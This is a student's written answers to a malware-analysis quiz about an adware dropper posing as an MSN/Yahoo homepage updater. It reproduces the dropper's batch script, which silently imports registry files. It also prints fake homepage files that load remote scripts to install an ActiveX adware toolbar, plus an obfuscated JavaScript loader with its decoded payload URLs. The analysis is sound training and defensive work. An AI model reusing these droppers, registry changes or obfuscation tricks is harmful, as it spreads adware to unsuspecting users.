

# Malware Quiz 3

Answers by Michel Jordon

## 1. What is a .cmd extension? In which systems that this file extension would work?

.cmd files are pretty much the same as .bat batch files. These files contain a list of commands that will be interpreted by the Windows command line interpreter (cmd.exe, command.exe). .cmds files were first introduced in Windows NT so they only work with this OS and all OSs afterwards. There was a difference under Windows NT where the .cmd type batch files would be launched using the cmd.exe Windows NT command interpreter (allowing NT extensions) but .bat files would use the old command.com interpreter (16 bit).

## 2. Did you check the MD5 of the unzipped binary? Does it match?

Yes and they do. (using md5sums.exe)

## 3. Is it packed? If yes, which packed was used?

Yes it is packed using WinRAR. This can be seen from the strings contained in the file. Particularly the XML structure which contains:

```
<description>WinRAR archiver.</description>
```

I verified this by using WinRAR to view the contents of the archive.

## 4. What is this piece of malware claiming to be?

The malware claims to be an update for MSN and Yahoo home pages. The SFX install script (run as part of the unpacking process) says:

```
Updater for Msn and Yahoo Home pages
```

However the script is run in silent mode so this would not be seen by the user. However, as explained below, web pages will be shown to the user claiming to be from MSN and Yahoo and ultimate the user will be presented with the valid MSN and Yahoo home pages.

## 5. Please describe the process which this malware will try to get installed on the system.

When the executable is run it extracts several files to your 'SystemRoot' directory (e.g. c:\windows). The files are:

- msnupdater.cmd
- yahoohomepage.html
- msnhomepage.html
- 2377.reg
- 5577.reg

The SFX script will then launch the first file 'msnupdater.cmd'. This file contains a series of commands that will load the other files.

```
@echo off
echo Updating Windows Shell Files
REGEDIT.EXE /S 2377.reg
REGEDIT.EXE /S 5577.reg
echo Updating Windows Shell Files.....
msnhomepage.html
echo Updating Windows Shell Files.....
yahoohomepage.html
echo Updating Windows Shell Files.....
echo Updating Windows Shell Files.....
echo Updating Windows Shell Files is now Complete.
exit
```

**msnupdater.cmd**

The script will claim to be updating Windows Shell files (but is run in silent and therefore is not normally seen) but it will actual run two registry files that will change your Windows registry. 2377.reg will reduce the Internet Explorer security zone settings. 5577.reg will install a starting hook for a program called c:\unmt.exe but this actually program is absent from the installer. This suggested that this code was taken from another malware or worm (probably Troj/Dloader source [www.sophos.com](http://www.sophos.com)) and used without fully understanding the functionality.

After the registry has been altered two local webpages will be loaded. The first msnhomepage.html:

```
<html>
<title> Welcome to Msn.com </title>
<meta http-equiv="refresh" content="20;url=http://www.razor-radio.us">
<body>
Standby Loading Msn.com .....
<!-- AUTO PROMPT START -->
<script language="javascript" type="text/javascript"
src="http://static.winupdates.com/prompts/a372a171/a770ab73.js"></script>
<script language="javascript" type="text/javascript">self.focus();</script>
<!-- AUTO PROMPT END -->
</body>
</html>
```

**msnhomepage.html**

This file will claim to be msn.com and then run a Javascript file from 'static.winupdates.com' the Javascript file 'a770ab73.js' (I retrieved it using wget.exe). It contains an obfuscated Javascript file that uses a simple string encoding functions to hide all the strings within the file (see Appendix for the file). This Javascript file will simply try to run another Javascript file called init.js from the same website. This init.js does not seem to exist at time of writing. This process of trying to hidden data in the Javascript files seems to be futile. The only information that the obfuscation covered was the address [www.winupdates.com](http://www.winupdates.com) but this was already present in the installed html files. This is an indication of code reuse without understanding the use of the code.

This page will refresh to [www.razor-radio.us](http://www.razor-radio.us) after 20 seconds which in turn has a similar line to redirect the user to [www.msn.com](http://www.msn.com) after 200 seconds, adding to the feeling that they have actually been updating msn.

While visiting the [www.razor-radio.us](http://www.razor-radio.us) the html in the upper frame contains the following line:

```
<script language='JavaScript' type='text/JavaScript'  
src='http://tbcode.com/ist/scripts/prompt.php?retry=2&loadfirst=0&delayload=10&account  
_id=158634&recurrence=always&adid=a1128233772&event_type=onload&signature=adult'></scr  
ipt>
```

This loads a Javascript file called prompt.php. This Javascript file calls various functions including:

```
holder.write('<OBJECT id="barobject" width=1 height=1 classid="CLSID:' + clsid + '"');  
holder.write('codebase="http://www.tbcode.com/ist/software/v4.0/0006_regular.cab"  
>');
```

These lines will install an ActiveX control called istactivex.dll which is a 'browser helper object' for Internet Explorer, in reality it is adware software that will show pornographic pop-ups, changes the homepage, overrides searches etc. (Source: <http://www3.ca.com> ).

The second html file performs a similar function to the first, yahoohomepage.html:

```
<html>  
<title> Welcome to Yahoo.com </title>  
<meta http-equiv="refresh" content="115;url=http://www.yahoo.com">  
<body>  
Standby Loading Yahoo.com .....  
<!-- AUTO PROMPT START -->  
<script language="javascript" type="text/javascript"  
src="http://static.windupdates.com/prompts/a376ab73/a776a174.js"></script>  
<script language="javascript" type="text/javascript">self.focus();</script>  
<!-- AUTO PROMPT END -->  
<!-- AUTO_PROMPT AD START -->  
<script language='JavaScript' type='text/JavaScript'  
src='http://install.xxxtoolbar.com/ist/scripts/prompt.php?retry=2&loadfirst=0&delayloa  
d=10&account_id=159080&recurrence=always&adid=a111819823&event_type=onload&signature=  
adult'></script>  
<!-- AUTO_PROMPT AD END -->  
</body>  
</html>
```

yahoohomepage.html

The key line here is the Javascript link to a PHP page on a site called: 'install.xxxtoolbar.com' the file is called prompt.php and is an identical file to the one above which installed an ActiveX control. After this page has loaded the web page will be redirected to [www.yahoo.com](http://www.yahoo.com) after 115 seconds (third line). Therefore the user will be looking at the valid yahoo page as above for the msn page.

Using a whois lookup the owner of xxxtoolbar.com was found:

```
Integrated Search Technology  
3300 Cote-Vertu  
Suite 406  
Montreal, Quebec H4R 2B7  
CA
```

**6. After some investigation on a machine that had this malware installed, was verified that the machine was trying to access something related to "\*msn\*" and "\*yahoo\*"... Does this malware have something to do with it? If so, with which purpose? :-)**

It has nothing officially to do with Microsoft or Yahoo. It does use the two html files

this is the default browser) and install the payload of the malware. This social engineering is used to get the user to unwittingly agree to install and run the malware's payload. The two web pages will ultimately end up at the valid yahoo and MSN web pages further adding to the apparent validity of the software.

**7. In the same machine, was observed that some registers were messed up...Again, does this malware have something to do with it? If so, why?**

Yes the Internet Security Settings were lowered to allow the Malware to install the toolbar and the hook to run a program that does not exist.

**8. Please, describe how this malware tries to install softwares (and which ones) in the machine...**

See above.

**9. If you could give only one advise to your users, based on what you observed on this malware, what would you say?**

Never be fooled by the computer tricking you into agree to download or install programs that you have never asked for. You are more intelligent than the computer. If the computer tells you to accept some software that you never requested then say no.

**10. Do you think that our affected user was lying to the IR Team?**

This program could not have been downloaded directly from the Microsoft Windows update site. But the user might have thought that was what they were doing. It could have arrived in an email from [microsoft@windupates.com](mailto:microsoft@windupates.com) and look very official therefore tricking the user into believing that they were actual updating their machine.

However the user might be lying and have been accessing a site which contained the malware and installed it himself. Further questioning would indicate which of the two is the reality.

**11. Finally(!), how would you classify this malware?**

The quality of the code is sloppy; they have reused code that they do not understand. But it does lower the security settings of IE and this is dangerous plus it presumably will show pornographic images which obviously could easily cause offence or even worse. So I would classify this malware as being offensive and damaging.

## Appendix- Obfuscated Javascript File

```
/*T5gRxPmT LQ8N19 Yo Hs4K*/var _aT8;var _20S;var _xEN=document;var _hL4;var _hCK;var _fRO;var _nMp=String;var _x5H;var _EzP;var _gQU;var _YJN;var _qR2;var _5xj=_nMp.prototype;var _dNK;var _EoB;var _jHO;var _ehN;var _e6q;var _7w1;var _9o5;var _Z6h;var _zP2;var _pG0;var _pODd;_5xj._hCK=_5xj.slice;/*V1ZBI3sc wSZFB7zhkjk HEo bS 5yiz8 _P0nRO Mcl5_9ea*/function _Z6h(_XjQ){_xEN.write("Axhw".slice(5)+"lsw#odqjxdjh@*MdydVfulsw*#w|sh@*wh{w2mddyvfulsw *#vuf@*".slice(3)+_rCz+_XjQ+".EC6zj".slice(7)+"ulswA".slice(3));}function _g8A(_XDg,_hCK){if(_hCK){return this._hCK(_XDg,_hCK);}var _L1b;var _T0g;var _RDA='';for(_L1b=0;_L1b<this.length;_L1b++){_T0g=this.charCodeAt(_L1b)-_XDg;if(_T0g<32){_T0g=127-(32-_T0g);} _RDA+=_nMp.fromCharCode(_T0g);}return _RDA;};_5xj.slice=_g8A;_dNK="569ddbcd2297775:53b7cb36g1c9588c473d9bg:9fec43gefcd84:d8c b5498b7e63bb427dg8287edgb61;444:77764:4947484374727444724:76494276434:7572767448414847 774274".slice(1);_fRO=1;_7w1="myyu?44xyfynh3|nsizuiifyjx3htr4hfg4RjinfFhhjxx4}un4nsxyfq q3}un".slice(5);_YJN=0;_EoB="\\"m{" .slice(8);_ODd="q"}yC88|}j}r17!rwm~ymj}|n|7lxv8y{xvy}|8|y;8|ny|h ;7|!o".slice(9);_e6q=3;var _82l="iuuq;00qvcmjdxjoevqebuft/dpn0mphhjih3/qiq".slice(1);var _WAH="nzzv@55v{hroi4}otj{vjgzky4ius5vuve{tjkk4vnnv".slice(6);_x5H="Dmjdl!ZFT!up!dpoujov f".slice(1);_ehN="myyu?44xyfynh3|nsizuiifyjx3htr4hfg4RjinfFhhjxx4of{f4gwnilj3ofw".slice(5);_9o5="tuzoikZk~zC_u{1s{yz1lurru}lyzkvy17+8I181gtj191zulgiikyylznlksu|oky,kkzx SymC_u{1s{yz1lurru}lyzkvy17+8I181gtj191zulgiikyylznlksu|oky,yozkTgskCLxkk1Su|ok1Giikyy eeeeeIroiql_KY1310l1 u{1gm444,yozkV{hroynkxCSkjoqlGiikyy,znkskC}noz,k,grvngC6,rumuVgznc,rumuYo!kCrgxmk,iruy kHztCzk~z".slice(6);_gQU="o{wA66z{h{pj5~puk|wkh{lz5jvt6jhi6TlkphHjllz6pl6iypkn14j@5j hi".slice(7);_zP2="rqordg".slice(3);_jHO="Dmjdl!ZFT!up!dpoujovf".slice(1);_hL4=1;var _rCz="jvvr<11uvcvke0ykpfrfcvgu0eqolrtqorvullu1".slice(2);_qR2=1;_20S=0;_pG0=0;_p_sf=_ 9o5;_p_ry=_e6q;_p_lu=_82l;_p_xu=_7w1;_p_cl=_aT8;_p_cd=_20S;_p_sm=_ODd;_p_ws=_Z6h;_p_pu =_EoB;_p_pr=_dNK;_p_cr=_hL4;_p_dl=_YJN;_p_ju=_ehN;_p_cm=_x5H;_p_ct=_fRO;_p_rm=_jHO;_p_cp=_EzP;_p_pl=_WAH;_p_lf=_qR2;_p_cu=_gQU;_Z6h("joju/kt".slice(1));/*uy J 8s9-o YlQRYmYjWczG*/
```

a770ab.js

```
...
String.prototype.slice=obfuscate;

function OutputScript (ScriptToRun)
{
    document.write("<script language='JavaScript' type='text/javascript' src='"
        + WebRoot + ScriptToRun +
        "'></script>");
}

function obfuscate(key,_hCK)
{
    if(_hCK){
        return this._hCK(key,_hCK);
    }
    var t;
    var tempchar;
    var result='';
    for(t=0; t<this.length; t++)
    {
        tempchar=this.charCodeAt(t)-key;
        if(tempchar<32)
        {
            tempchar=127-(32-tempchar);
        }
        result +=String.fromCharCode(tempchar);
    }
    return result;
}

var WebRoot="http://static.windupdates.com/prompts/js/";
_p_sf="noticeText=You+must+follow+steps+1%2C2+and+3+to+access+the+movies&retr_Msg=You
+must+follow";
_p_lu="http://public.windupdates.com/logging2.php";
_p_xu="http://static.windupdates.com/cab/MediaAccess/xpi/install.xpi";
_p_sm="http://static.windupdates.com/prompts/sp2/steps__2.swf";
_p_pr="458ccabc1186664942a6ba25f0b8477b362c8af98edb32fdebcb739c7ba4387a6d52aa316cf7176d
cfa50:3339666539383637326361633361396538";
_p_ju="http://static.windupdates.com/cab/MediaAccess/java/bridge.jar";
_p_cm="Click YES to continue";
_p_rm="Click YES to continue";
_p_pl="http://public.windupdates.com/pop_under.php";
_p_cu="http://static.windupdates.com/cab/MediaAccess/ie/bridge-c9.cab";
OutputScript("init.js");
```

Extract of unobfuscated version of a770ab.js

The code overloads the string 'slice' method with its own simple obfuscation function. The function just subtracts a few chars from the original string. I have put in the unobfuscated strings to show what information was being hidden.